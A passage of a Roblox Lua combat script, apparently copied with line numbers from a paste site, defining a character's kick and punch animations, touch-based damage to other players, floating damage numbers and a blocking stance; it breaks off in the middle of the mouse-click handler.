1373 | ||
1374 | function getHumanoid(c) | |
1375 | ||
1376 | local h = nil | |
1377 | ||
1378 | for i,v in pairs(c:children()) do | |
1379 | ||
1380 | if v:IsA("Humanoid") and c ~= char then | |
1381 | ||
1382 | if v.Health > 0 then | |
1383 | ||
1384 | h = v | |
1385 | ||
1386 | end | |
1387 | ||
1388 | end | |
1389 | ||
1390 | end | |
1391 | ||
1392 | return h | |
1393 | ||
1394 | end | |
1395 | ||
1396 | function getHead(c, pos, m) | |
1397 | ||
1398 | local h = nil | |
1399 | ||
1400 | local n = nil | |
1401 | ||
1402 | t = c:findFirstChild("Torso") | |
1403 | ||
1404 | if t ~= nil then | |
1405 | ||
1406 | n = t:findFirstChild("Neck") | |
1407 | ||
1408 | end | |
1409 | ||
1410 | for i,v in pairs(c:children()) do | |
1411 | ||
1412 | if v.Name == "Head" then | |
1413 | ||
1414 | if (v.Position - pos).magnitude < m then | |
1415 | ||
1416 | h = v | |
1417 | ||
1418 | end | |
1419 | ||
1420 | end | |
1421 | ||
1422 | end | |
1423 | ||
1424 | return h, n | |
1425 | ||
1426 | end | |
1427 | ||
1428 | for i,v in pairs(char:children()) do | |
1429 | ||
1430 | if v.Name == Modelname then | |
1431 | ||
1432 | v:remove() | |
1433 | ||
1434 | end | |
1435 | ||
1436 | end | |
1437 | ||
1438 | torso = char.Torso | |
1439 | ||
1440 | neck = torso.Neck | |
1441 | ||
1442 | hum = char.Humanoid | |
1443 | ||
1444 | Rarm = char["Right Arm"] | |
1445 | ||
1446 | Larm = char["Left Arm"] | |
1447 | ||
1448 | Rleg = char["Right Leg"] | |
1449 | ||
1450 | Lleg = char["Left Leg"] | |
1451 | ||
1452 | LastHP = hum.Health | |
1453 | ||
1454 | function HpChange(newhp) | |
1455 | ||
1456 | if block and hum.Health > 0.1 then | |
1457 | ||
1458 | local dif = LastHP - newhp | |
1459 | ||
1460 | if dif > 0 then | |
1461 | ||
1462 | local h = LastHP - ((LastHP-newhp)/3) | |
1463 | ||
1464 | hum.Health = h | |
1465 | ||
1466 | wait() | |
1467 | ||
1468 | hum.Health = h | |
1469 | ||
1470 | end | |
1471 | ||
1472 | if dif > breakblock then | |
1473 | ||
1474 | block = false | |
1475 | ||
1476 | local a = Add.BP(torso) | |
1477 | ||
1478 | a.position = torso.Position | |
1479 | ||
1480 | local b = Add.BG(torso) | |
1481 | ||
1482 | b.cframe = CFrame.new(torso.Position, torso.CFrame * CFrame.new(0, 0, -5).p) | |
1483 | ||
1484 | wait(0.6) | |
1485 | ||
1486 | a:remove() | |
1487 | ||
1488 | b:remove() | |
1489 | ||
1490 | able = true | |
1491 | ||
1492 | end | |
1493 | ||
1494 | end | |
1495 | ||
1496 | LastHP = hum.Health | |
1497 | ||
1498 | end | |
1499 | ||
1500 | hum.HealthChanged:connect(HpChange) | |
1501 | ||
1502 | hc = Instance.new("Humanoid") | |
1503 | ||
1504 | hc.Health = 0 | |
1505 | ||
1506 | hc.MaxHealth = 0 | |
1507 | ||
1508 | slash = Instance.new("Sound") | |
1509 | ||
1510 | slash.SoundId = "rbxasset://sounds//swordslash.wav" | |
1511 | ||
1512 | slash.Volume = 0.8 | |
1513 | ||
1514 | slash.Pitch = 1.4 | |
1515 | ||
1516 | slash.Parent = Rarm | |
1517 | ||
1518 | hitsound = Instance.new("Sound") | |
1519 | ||
1520 | hitsound.SoundId = "http://www.roblox.com/asset/?id=2801263" | |
1521 | ||
1522 | hitsound.Volume = 0.55 | |
1523 | ||
1524 | hitsound.Pitch = 2.1 | |
1525 | ||
1526 | hitsound.Parent = torso | |
1527 | ||
1528 | Mo = Instance.new("Model") | |
1529 | ||
1530 | Mo.Name = Modelname | |
1531 | ||
1532 | RABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true) | |
1533 | ||
1534 | LABrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true) | |
1535 | ||
1536 | RLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true) | |
1537 | ||
1538 | LLBrick = Part(Mo, false, false, 1, 0, "Black", 0.1, 0.1, 0.1, true) | |
1539 | ||
1540 | RABW = Weld(torso, RABrick, -1.5, -0.5, 0, 0, 0, 0) | |
1541 | ||
1542 | LABW = Weld(torso, LABrick, 1.5, -0.5, 0, 0, 0, 0) | |
1543 | ||
1544 | RLBW = Weld(torso, RLBrick, -0.5, 1.2, 0, 0, 0, 0) | |
1545 | ||
1546 | LLBW = Weld(torso, LLBrick, 0.5, 1.2, 0, 0, 0, 0) | |
1547 | ||
1548 | RAW = Weld(RABrick, nil, 0, 0.5, 0, 0, 0, 0) | |
1549 | ||
1550 | LAW = Weld(LABrick, nil, 0, 0.5, 0, 0, 0, 0) | |
1551 | ||
1552 | RLW = Weld(RLBrick, nil, 0, 0.8, 0, 0, 0, 0) | |
1553 | ||
1554 | LLW = Weld(LLBrick, nil, 0, 0.8, 0, 0, 0, 0) | |
1555 | ||
1556 | TBricks = {} | |
1557 | ||
1558 | for i, v in pairs({Rarm, Larm, Rleg, Lleg}) do | |
1559 | ||
1560 | local p = Part(Mo, false, false, 1, 0, "Black", 0.9, 0.9, 0.8, true) | |
1561 | ||
1562 | Weld(v, p, 0, 0.7, 0, 0, 0, 0) | |
1563 | ||
1564 | table.insert(TBricks, {p, hurt = false, able = true}) | |
1565 | ||
1566 | end | |
1567 | ||
1568 | function startEff(part) | |
1569 | ||
1570 | effectOn = true | |
1571 | ||
1572 | local lastPoint = part.Position | |
1573 | ||
1574 | coroutine.resume(coroutine.create(function() | |
1575 | ||
1576 | while effectOn do | |
1577 | ||
1578 | wait() | |
1579 | ||
1580 | local mag = (lastPoint - part.Position).magnitude | |
1581 | ||
1582 | local p = Part(Mo, true, false, 0.5, 0.05, "Really black", 0.1, 0.1, mag+0.2, true) | |
1583 | ||
1584 | p.CFrame = CFrame.new(lastPoint, part.Position) * CFrame.new(0, 0, -mag/2) | |
1585 | ||
1586 | Instance.new("BlockMesh",p) | |
1587 | ||
1588 | lastPoint = part.Position | |
1589 | ||
1590 | coroutine.resume(coroutine.create(function() | |
1591 | ||
1592 | for x=0.2,1,0.2 do | |
1593 | ||
1594 | wait() | |
1595 | ||
1596 | p.Transparency = x | |
1597 | ||
1598 | end | |
1599 | ||
1600 | p:remove() | |
1601 | ||
1602 | end)) | |
1603 | ||
1604 | end | |
1605 | ||
1606 | end)) | |
1607 | ||
1608 | end | |
1609 | ||
1610 | function endEff() | |
1611 | ||
1612 | effectOn = false | |
1613 | ||
1614 | end | |
1615 | ||
1616 | function ShowDMG(p, d) | |
1617 | ||
1618 | local mo = Instance.new("Model") | |
1619 | ||
1620 | mo.Name = d | |
1621 | ||
1622 | local pa = Part(mo, false, true, 0.5, 0, "Really red", 0.8, 0.2, 0.8, true) | |
1623 | ||
1624 | pa.CFrame = CFrame.new(p.Position) | |
1625 | ||
1626 | pa.Name = "Head" | |
1627 | ||
1628 | local hah = hc:clone() | |
1629 | ||
1630 | hah.Parent = mo | |
1631 | ||
1632 | local bp = Add.BP(pa) | |
1633 | ||
1634 | bp.maxForce = Vector3.new(math.huge, math.huge, math.huge) | |
1635 | ||
1636 | bp.position = p.Position + Vector3.new(0, 2.5, 0) | |
1637 | ||
1638 | Add.BG(pa) | |
1639 | ||
1640 | coroutine.resume(coroutine.create(function() | |
1641 | ||
1642 | wait(0.2) | |
1643 | ||
1644 | mo.Parent = workspace | |
1645 | ||
1646 | wait(1.5) | |
1647 | ||
1648 | mo:remove() | |
1649 | ||
1650 | end)) | |
1651 | ||
1652 | end | |
1653 | ||
1654 | for i, v in pairs(TBricks) do | |
1655 | ||
1656 | v[1].Touched:connect(function(hit) | |
1657 | ||
1658 | local fig = hit.Parent | |
1659 | ||
1660 | H, T = getHumanoid(fig), fig:findFirstChild("Torso") | |
1661 | ||
1662 | if H ~= nil and T ~= nil and v.hurt and v.able then | |
1663 | ||
1664 | hitsound:play() | |
1665 | ||
1666 | v.able = false | |
1667 | ||
1668 | local d = math.random(dmg[1], dmg[2]) | |
1669 | ||
1670 | local hed, ne = getHead(fig, v[1].Position, 2.5) | |
1671 | ||
1672 | if dmg[3] == "RoundHouse" and hed ~= nil then | |
1673 | ||
1674 | d = math.random(dmg[1]*2.4, dmg[2]*2.4) | |
1675 | ||
1676 | coroutine.resume(coroutine.create(function() | |
1677 | ||
1678 | if ne ~= nil then | |
1679 | ||
1680 | for i=0,60,20 do | |
1681 | ||
1682 | ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0) | |
1683 | ||
1684 | wait() | |
1685 | ||
1686 | end | |
1687 | ||
1688 | for i=60,0,-20 do | |
1689 | ||
1690 | ne.C0 = necko * CFrame.Angles(math.rad(-i), 0, 0) | |
1691 | ||
1692 | wait() | |
1693 | ||
1694 | end | |
1695 | ||
1696 | ne.C0 = necko | |
1697 | ||
1698 | end | |
1699 | ||
1700 | end)) | |
1701 | ||
1702 | end | |
1703 | ||
1704 | H.Health = H.Health - d | |
1705 | ||
1706 | local xd = CFrame.new(v[1].Position, hit.Position) | |
1707 | ||
1708 | hit.Velocity = xd.lookVector * (d*2.3) | |
1709 | ||
1710 | ShowDMG(v[1], d) | |
1711 | ||
1712 | wait(0.34) | |
1713 | ||
1714 | v.able = true | |
1715 | ||
1716 | end | |
1717 | ||
1718 | end) | |
1719 | ||
1720 | end | |
1721 | ||
1722 | Mo.Parent = char | |
1723 | ||
1724 | RAWBattle = nil | |
1725 | ||
1726 | LAWBattle = nil | |
1727 | ||
1728 | function nilparts() | |
1729 | ||
1730 | LAW.Part1 = nil | |
1731 | ||
1732 | RAW.Part1 = nil | |
1733 | ||
1734 | RLW.Part1 = nil | |
1735 | ||
1736 | LLW.Part1 = nil | |
1737 | ||
1738 | LAW.C0 = CFrame.new(0, 0, 0) | |
1739 | ||
1740 | RLW.C0 = CFrame.new(0, 0, 0) | |
1741 | ||
1742 | LLW.C0 = CFrame.new(0, 0, 0) | |
1743 | ||
1744 | RAW.C0 = CFrame.new(0, 0, 0) | |
1745 | ||
1746 | end | |
1747 | ||
1748 | function attach() | |
1749 | ||
1750 | LAW.Part1 = Larm | |
1751 | ||
1752 | RLW.Part1 = Rleg | |
1753 | ||
1754 | LLW.Part1 = Lleg | |
1755 | ||
1756 | RAW.Part1 = Rarm | |
1757 | ||
1758 | LAW.C0 = CFrame.new(0, 0, 0) | |
1759 | ||
1760 | RLW.C0 = CFrame.new(0, 0, 0) | |
1761 | ||
1762 | LLW.C0 = CFrame.new(0, 0, 0) | |
1763 | ||
1764 | RAW.C0 = CFrame.new(0, 0, 0) | |
1765 | ||
1766 | end | |
1767 | ||
1768 | attacks = { | |
1769 | ||
1770 | function(mouse) | |
1771 | ||
1772 | local Orig = torso.CFrame | |
1773 | ||
1774 | local MousePos = mouse.Hit.p | |
1775 | ||
1776 | local bg = Add.BG(torso) | |
1777 | ||
1778 | local bp = Add.BP(torso) | |
1779 | ||
1780 | bp.position = Orig.p | |
1781 | ||
1782 | local CF = ComputePos(Orig.p, MousePos) | |
1783 | ||
1784 | local CF2 = CF | |
1785 | ||
1786 | bg.cframe = CF2 | |
1787 | ||
1788 | attach() | |
1789 | ||
1790 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
1791 | ||
1792 | startEff(TBricks[3][1]) | |
1793 | ||
1794 | TBricks[3].hurt = true | |
1795 | ||
1796 | slash:play() | |
1797 | ||
1798 | dmg = dmgs.Kdmg | |
1799 | ||
1800 | for i = 0, 100, 100/4 do | |
1801 | ||
1802 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
1803 | ||
1804 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/200, 0) | |
1805 | ||
1806 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
1807 | ||
1808 | RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
1809 | ||
1810 | LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7)) | |
1811 | ||
1812 | CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0) | |
1813 | ||
1814 | bg.cframe = CF2 | |
1815 | ||
1816 | wait() | |
1817 | ||
1818 | end | |
1819 | ||
1820 | wait(0.1) | |
1821 | ||
1822 | TBricks[3].hurt = false | |
1823 | ||
1824 | for i = 100, 0, -100/5 do | |
1825 | ||
1826 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
1827 | ||
1828 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i)) * CFrame.new(0, -i/150, 0) | |
1829 | ||
1830 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
1831 | ||
1832 | RAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
1833 | ||
1834 | LAW.C0 = CFrame.Angles(math.rad(i/8), 0, math.rad(-i/7)) | |
1835 | ||
1836 | CF2 = CF * CFrame.Angles(math.rad(i/4), math.rad(i), 0) | |
1837 | ||
1838 | bg.cframe = CF2 | |
1839 | ||
1840 | wait() | |
1841 | ||
1842 | end | |
1843 | ||
1844 | endEff() | |
1845 | ||
1846 | wait() | |
1847 | ||
1848 | nilparts() | |
1849 | ||
1850 | bg:remove() | |
1851 | ||
1852 | bp:remove() | |
1853 | ||
1854 | neck.C0 = necko | |
1855 | ||
1856 | end, | |
1857 | ||
1858 | function(mouse) | |
1859 | ||
1860 | local Orig = torso.CFrame | |
1861 | ||
1862 | local MousePos = mouse.Hit.p | |
1863 | ||
1864 | local bg = Add.BG(torso) | |
1865 | ||
1866 | local bp = Add.BP(torso) | |
1867 | ||
1868 | bp.position = Orig.p | |
1869 | ||
1870 | local CF = ComputePos(Orig.p, MousePos) | |
1871 | ||
1872 | local CF2 = CF | |
1873 | ||
1874 | bg.cframe = CF2 | |
1875 | ||
1876 | attach() | |
1877 | ||
1878 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
1879 | ||
1880 | TBricks[2].hurt = true | |
1881 | ||
1882 | startEff(TBricks[2][1]) | |
1883 | ||
1884 | slash:play() | |
1885 | ||
1886 | dmg = dmgs.Pdmg | |
1887 | ||
1888 | for i = 0, -90, -90/4 do | |
1889 | ||
1890 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
1891 | ||
1892 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
1893 | ||
1894 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4)) | |
1895 | ||
1896 | RAW.C0 = CFrame.Angles(0, 0, 0) | |
1897 | ||
1898 | LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i)) | |
1899 | ||
1900 | CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i), 0) | |
1901 | ||
1902 | bg.cframe = CF2 | |
1903 | ||
1904 | wait() | |
1905 | ||
1906 | end | |
1907 | ||
1908 | wait(0.07) | |
1909 | ||
1910 | TBricks[2].hurt = false | |
1911 | ||
1912 | endEff() | |
1913 | ||
1914 | startEff(TBricks[1][1]) | |
1915 | ||
1916 | TBricks[1].hurt = true | |
1917 | ||
1918 | bp.position = CF * CFrame.new(0, 0, -3).p | |
1919 | ||
1920 | slash:play() | |
1921 | ||
1922 | for i = -90, 0, 90/7 do | |
1923 | ||
1924 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i*2+90))) | |
1925 | ||
1926 | RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90)) | |
1927 | ||
1928 | LAW.C0 = CFrame.Angles(math.rad(-i), 0, math.rad(i)) | |
1929 | ||
1930 | CF2 = CF * CFrame.Angles(math.rad(i/8), math.rad(i*2+90), 0) | |
1931 | ||
1932 | bg.cframe = CF2 | |
1933 | ||
1934 | wait() | |
1935 | ||
1936 | end | |
1937 | ||
1938 | wait(0.07) | |
1939 | ||
1940 | TBricks[1].hurt = false | |
1941 | ||
1942 | for i = 0, -90, -90/5 do | |
1943 | ||
1944 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-(i+90))) | |
1945 | ||
1946 | RAW.C0 = CFrame.Angles(math.rad(i-90), math.pi, math.rad(i-90)) | |
1947 | ||
1948 | RLW.C0 = CFrame.Angles(0, 0, math.rad(i/4+23)) | |
1949 | ||
1950 | LLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4-23)) | |
1951 | ||
1952 | CF2 = CF * CFrame.Angles(0, math.rad(i+90), 0) | |
1953 | ||
1954 | bg.cframe = CF2 | |
1955 | ||
1956 | wait() | |
1957 | ||
1958 | end | |
1959 | ||
1960 | endEff() | |
1961 | ||
1962 | wait() | |
1963 | ||
1964 | nilparts() | |
1965 | ||
1966 | bg:remove() | |
1967 | ||
1968 | bp:remove() | |
1969 | ||
1970 | neck.C0 = necko | |
1971 | ||
1972 | end, | |
1973 | ||
1974 | function(mouse) | |
1975 | ||
1976 | local Orig = torso.CFrame | |
1977 | ||
1978 | local MousePos = mouse.Hit.p | |
1979 | ||
1980 | local bg = Add.BG(torso) | |
1981 | ||
1982 | local bp = Add.BP(torso) | |
1983 | ||
1984 | bp.position = Orig.p | |
1985 | ||
1986 | local CF = ComputePos(Orig.p, MousePos) | |
1987 | ||
1988 | local CF2 = CF | |
1989 | ||
1990 | bg.cframe = CF2 | |
1991 | ||
1992 | attach() | |
1993 | ||
1994 | bp.position = CF * CFrame.new(0, 0, -1.5).p | |
1995 | ||
1996 | TBricks[4].hurt = true | |
1997 | ||
1998 | startEff(TBricks[4][1]) | |
1999 | ||
2000 | slash:play() | |
2001 | ||
2002 | dmg = dmgs.K2dmg | |
2003 | ||
2004 | for i = 0, -100, -100/4 do | |
2005 | ||
2006 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
2007 | ||
2008 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
2009 | ||
2010 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i)) | |
2011 | ||
2012 | RAW.C0 = CFrame.Angles(math.rad(-i/6), 0, math.rad(-i/7)) | |
2013 | ||
2014 | LAW.C0 = CFrame.Angles(math.rad(i/6), 0, math.rad(-i/7)) | |
2015 | ||
2016 | CF2 = CF * CFrame.Angles(math.rad(-i/5), math.rad(i), 0) | |
2017 | ||
2018 | bg.cframe = CF2 | |
2019 | ||
2020 | wait() | |
2021 | ||
2022 | end | |
2023 | ||
2024 | wait(0.1) | |
2025 | ||
2026 | bp.position = CF * CFrame.new(0, 0, -3).p | |
2027 | ||
2028 | TBricks[4].hurt = false | |
2029 | ||
2030 | endEff() | |
2031 | ||
2032 | startEff(TBricks[3][1]) | |
2033 | ||
2034 | TBricks[3].hurt = true | |
2035 | ||
2036 | local Cobalt11641, hipow12 = RLW.C0, LLW.C0 | |
2037 | ||
2038 | slash:play() | |
2039 | ||
2040 | for i = -100, -290, -190/5 do | |
2041 | ||
2042 | RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(-i/3-(100/4))) | |
2043 | ||
2044 | LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)-100)) | |
2045 | ||
2046 | CF2 = CF * CFrame.Angles(math.rad(100/5), math.rad(i), 0) | |
2047 | ||
2048 | bg.cframe = CF2 | |
2049 | ||
2050 | wait() | |
2051 | ||
2052 | end | |
2053 | ||
2054 | wait(0.1) | |
2055 | ||
2056 | bp.position = CF * CFrame.new(0, 0, -4.5).p | |
2057 | ||
2058 | TBricks[3].hurt = false | |
2059 | ||
2060 | Cobalt11641, hipow12 = RLW.C0, LLW.C0 | |
2061 | ||
2062 | for i = 0, -70, -70/3 do | |
2063 | ||
2064 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad((i*1.3)+100)) | |
2065 | ||
2066 | RLW.C0 = Cobalt11641 * CFrame.Angles(0, 0, math.rad(i*1.4)) | |
2067 | ||
2068 | LLW.C0 = hipow12 * CFrame.Angles(0, 0, 0) | |
2069 | ||
2070 | RAW.C0 = CFrame.Angles(0, 0, 0) | |
2071 | ||
2072 | LAW.C0 = CFrame.Angles(0, 0, 0) | |
2073 | ||
2074 | CF2 = CF * CFrame.Angles(0, math.rad(-290+i), 0) | |
2075 | ||
2076 | bg.cframe = CF2 | |
2077 | ||
2078 | wait() | |
2079 | ||
2080 | end | |
2081 | ||
2082 | endEff() | |
2083 | ||
2084 | wait() | |
2085 | ||
2086 | nilparts() | |
2087 | ||
2088 | bg:remove() | |
2089 | ||
2090 | bp:remove() | |
2091 | ||
2092 | neck.C0 = necko | |
2093 | ||
2094 | end, | |
2095 | ||
2096 | function(mouse) | |
2097 | ||
2098 | if mouse ~= nil then | |
2099 | ||
2100 | local Orig = torso.CFrame | |
2101 | ||
2102 | local MousePos = mouse.Hit.p | |
2103 | ||
2104 | local bg = Add.BG(torso) | |
2105 | ||
2106 | local bp = Add.BP(torso) | |
2107 | ||
2108 | bp.position = Orig.p | |
2109 | ||
2110 | local CF = ComputePos(Orig.p, MousePos) | |
2111 | ||
2112 | local CF2 = CF | |
2113 | ||
2114 | bg.cframe = CF2 | |
2115 | ||
2116 | startEff(TBricks[3][1]) | |
2117 | ||
2118 | attach() | |
2119 | ||
2120 | bp.position = CF * CFrame.new(0, 0, -1).p | |
2121 | ||
2122 | dmg = dmgs.Rdmg | |
2123 | ||
2124 | for i = 0, 180, 180/7 do | |
2125 | ||
2126 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i/2)) | |
2127 | ||
2128 | RLW.C0 = CFrame.Angles(0, 0, 0) | |
2129 | ||
2130 | LLW.C0 = CFrame.Angles(0, 0, 0) | |
2131 | ||
2132 | RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10)) | |
2133 | ||
2134 | LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10)) | |
2135 | ||
2136 | CF2 = CF * CFrame.Angles(math.rad(i/5.8), math.rad(-i), 0) | |
2137 | ||
2138 | bg.cframe = CF2 | |
2139 | ||
2140 | wait() | |
2141 | ||
2142 | end | |
2143 | ||
2144 | slash:play() | |
2145 | ||
2146 | TBricks[3].hurt = true | |
2147 | ||
2148 | for i = 180, 180+90, 90/4 do | |
2149 | ||
2150 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad((-i*2-180)-90)) | |
2151 | ||
2152 | RLW.C0 = CFrame.Angles(0, 0, math.rad((i*1.45)-(180*1.45))) * CFrame.new(0, (-i+180)/100, 0) | |
2153 | ||
2154 | LLW.C0 = CFrame.Angles(0, 0, math.rad((-i/3)+(180/3))) | |
2155 | ||
2156 | RAW.C0 = CFrame.Angles(math.rad(i/5), 0, math.rad(i/10)) | |
2157 | ||
2158 | LAW.C0 = CFrame.Angles(math.rad(-i/5), 0, math.rad(-i/10)) | |
2159 | ||
2160 | CF2 = CF * CFrame.Angles(math.rad(180/5.8), math.rad(-i), 0) | |
2161 | ||
2162 | bg.cframe = CF2 | |
2163 | ||
2164 | wait() | |
2165 | ||
2166 | end | |
2167 | ||
2168 | TBricks[3].hurt = false | |
2169 | ||
2170 | wait() | |
2171 | ||
2172 | for i = 270, 360, 90/5 do | |
2173 | ||
2174 | local a = i-270 | |
2175 | ||
2176 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(i)) | |
2177 | ||
2178 | RLW.C0 = CFrame.Angles(0, 0, math.rad((-a*1.1)-(180*1.45))) * CFrame.new(0, (a/100)+((-270+180)/100), 0) | |
2179 | ||
2180 | LLW.C0 = CFrame.Angles(0, 0, math.rad((a/3)-(90/3))) | |
2181 | ||
2182 | RAW.C0 = CFrame.Angles(math.rad(270/5-((a*3)/5)), 0, math.rad(270/10-((a*3)/10))) | |
2183 | ||
2184 | LAW.C0 = CFrame.Angles(math.rad(-270/5+((a*3)/5)), 0, math.rad(-270/10+((a*3)/10))) | |
2185 | ||
2186 | CF2 = CF * CFrame.Angles(math.rad((180/5.8)-((a*2)/5.8)), math.rad(-i), 0) | |
2187 | ||
2188 | bg.cframe = CF2 | |
2189 | ||
2190 | wait() | |
2191 | ||
2192 | end | |
2193 | ||
2194 | endEff() | |
2195 | ||
2196 | wait() | |
2197 | ||
2198 | nilparts() | |
2199 | ||
2200 | bg:remove() | |
2201 | ||
2202 | bp:remove() | |
2203 | ||
2204 | neck.C0 = necko | |
2205 | ||
2206 | end | |
2207 | ||
2208 | end, | |
2209 | ||
2210 | function(mouse) | |
2211 | ||
2212 | local Orig = torso.CFrame | |
2213 | ||
2214 | local MousePos = mouse.Hit.p | |
2215 | ||
2216 | local bg = Add.BG(torso) | |
2217 | ||
2218 | local bp = Add.BP(torso) | |
2219 | ||
2220 | bp.position = Orig.p | |
2221 | ||
2222 | local CF = ComputePos(Orig.p, MousePos) | |
2223 | ||
2224 | local CF2 = CF | |
2225 | ||
2226 | bg.cframe = CF2 | |
2227 | ||
2228 | startEff(TBricks[2][1]) | |
2229 | ||
2230 | attach() | |
2231 | ||
2232 | bp.position = CF * CFrame.new(0, 0, -0.8).p | |
2233 | ||
2234 | dmg = dmgs.Kardmg | |
2235 | ||
2236 | for i = 0, -45, -45/3 do | |
2237 | ||
2238 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
2239 | ||
2240 | RLW.C0 = CFrame.Angles(0, 0, math.rad(-i/4)) | |
2241 | ||
2242 | LLW.C0 = CFrame.Angles(0, 0, math.rad(i/4)) | |
2243 | ||
2244 | RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/3)) | |
2245 | ||
2246 | LAW.C0 = CFrame.Angles(math.rad(-i*4), 0, 0) | |
2247 | ||
2248 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
2249 | ||
2250 | bg.cframe = CF2 | |
2251 | ||
2252 | wait() | |
2253 | ||
2254 | end | |
2255 | ||
2256 | TBricks[2].hurt = true | |
2257 | ||
2258 | bp.position = CF * CFrame.new(0, 0, -1.6).p | |
2259 | ||
2260 | slash:play() | |
2261 | ||
2262 | for i = -45, -110, -65/3 do | |
2263 | ||
2264 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
2265 | ||
2266 | LAW.C0 = CFrame.Angles(math.rad(-45*4), 0, math.rad((i*2+110))) | |
2267 | ||
2268 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
2269 | ||
2270 | bg.cframe = CF2 | |
2271 | ||
2272 | wait() | |
2273 | ||
2274 | end | |
2275 | ||
2276 | wait() | |
2277 | ||
2278 | TBricks[2].hurt = false | |
2279 | ||
2280 | for i = -110, 0, 110/4 do | |
2281 | ||
2282 | neck.C0 = necko * CFrame.Angles(0, 0, math.rad(-i)) | |
2283 | ||
2284 | LAW.C0 = CFrame.Angles(0, 0, math.rad(i) ) | |
2285 | ||
2286 | RAW.C0 = CFrame.Angles(0, 0, math.rad(-i/2/3)) | |
2287 | ||
2288 | RLW.C0 = CFrame.Angles(0, 0, math.rad(45/4-(((i/2)+45)/4))) | |
2289 | ||
2290 | LLW.C0 = CFrame.Angles(0, 0, math.rad(45/4+(((i/2)-45)/4))) | |
2291 | ||
2292 | CF2 = CF * CFrame.Angles(0, math.rad(i), 0) | |
2293 | ||
2294 | bg.cframe = CF2 | |
2295 | ||
2296 | wait() | |
2297 | ||
2298 | end | |
2299 | ||
2300 | endEff() | |
2301 | ||
2302 | wait() | |
2303 | ||
2304 | nilparts() | |
2305 | ||
2306 | bg:remove() | |
2307 | ||
2308 | bp:remove() | |
2309 | ||
2310 | neck.C0 = necko | |
2311 | ||
2312 | end | |
2313 | ||
2314 | } | |
2315 | ||
2316 | bloc = function(mouse) | |
2317 | ||
2318 | local hold = true | |
2319 | ||
2320 | local bg = Add.BG(nil) | |
2321 | ||
2322 | attach() | |
2323 | ||
2324 | RLW.Part1 = nil | |
2325 | ||
2326 | LLW.Part1 = nil | |
2327 | ||
2328 | slash:play() | |
2329 | ||
2330 | local duh = true | |
2331 | ||
2332 | block = true | |
2333 | ||
2334 | mouse.KeyUp:connect(function(k) | |
2335 | ||
2336 | k = k:lower() | |
2337 | ||
2338 | if duh == true and k == "t" then | |
2339 | ||
2340 | block = false | |
2341 | ||
2342 | duh = false | |
2343 | ||
2344 | hold = false | |
2345 | ||
2346 | end | |
2347 | ||
2348 | end) | |
2349 | ||
2350 | coroutine.resume(coroutine.create(function() | |
2351 | ||
2352 | for i = 0, 90, 90/7 do | |
2353 | ||
2354 | RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2)) | |
2355 | ||
2356 | LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5)) | |
2357 | ||
2358 | wait() | |
2359 | ||
2360 | end | |
2361 | ||
2362 | end)) | |
2363 | ||
2364 | bg.Parent = torso | |
2365 | ||
2366 | while block and hold do | |
2367 | ||
2368 | wait() | |
2369 | ||
2370 | bg.cframe = ComputePos(torso.Position, mouse.Hit.p) | |
2371 | ||
2372 | end | |
2373 | ||
2374 | for i = 90, 0, -90/7 do | |
2375 | ||
2376 | RAW.C0 = CFrame.new(-i/150, 0, -i/170) * CFrame.Angles(math.rad(i/1.1), 0, math.rad(-i/1.2)) | |
2377 | ||
2378 | LAW.C0 = CFrame.new(i/150, 0, -i/170) * CFrame.Angles(math.rad(i*1.25), 0, math.rad(i/1.5)) | |
2379 | ||
2380 | wait() | |
2381 | ||
2382 | end | |
2383 | ||
2384 | nilparts() | |
2385 | ||
2386 | bg:remove() | |
2387 | ||
2388 | neck.C0 = necko | |
2389 | ||
2390 | end | |
2391 | ||
2392 | function select(mouse) | |
2393 | ||
2394 | mouse.Button1Down:connect(function() | |
2395 | ||
2396 | if able then | |
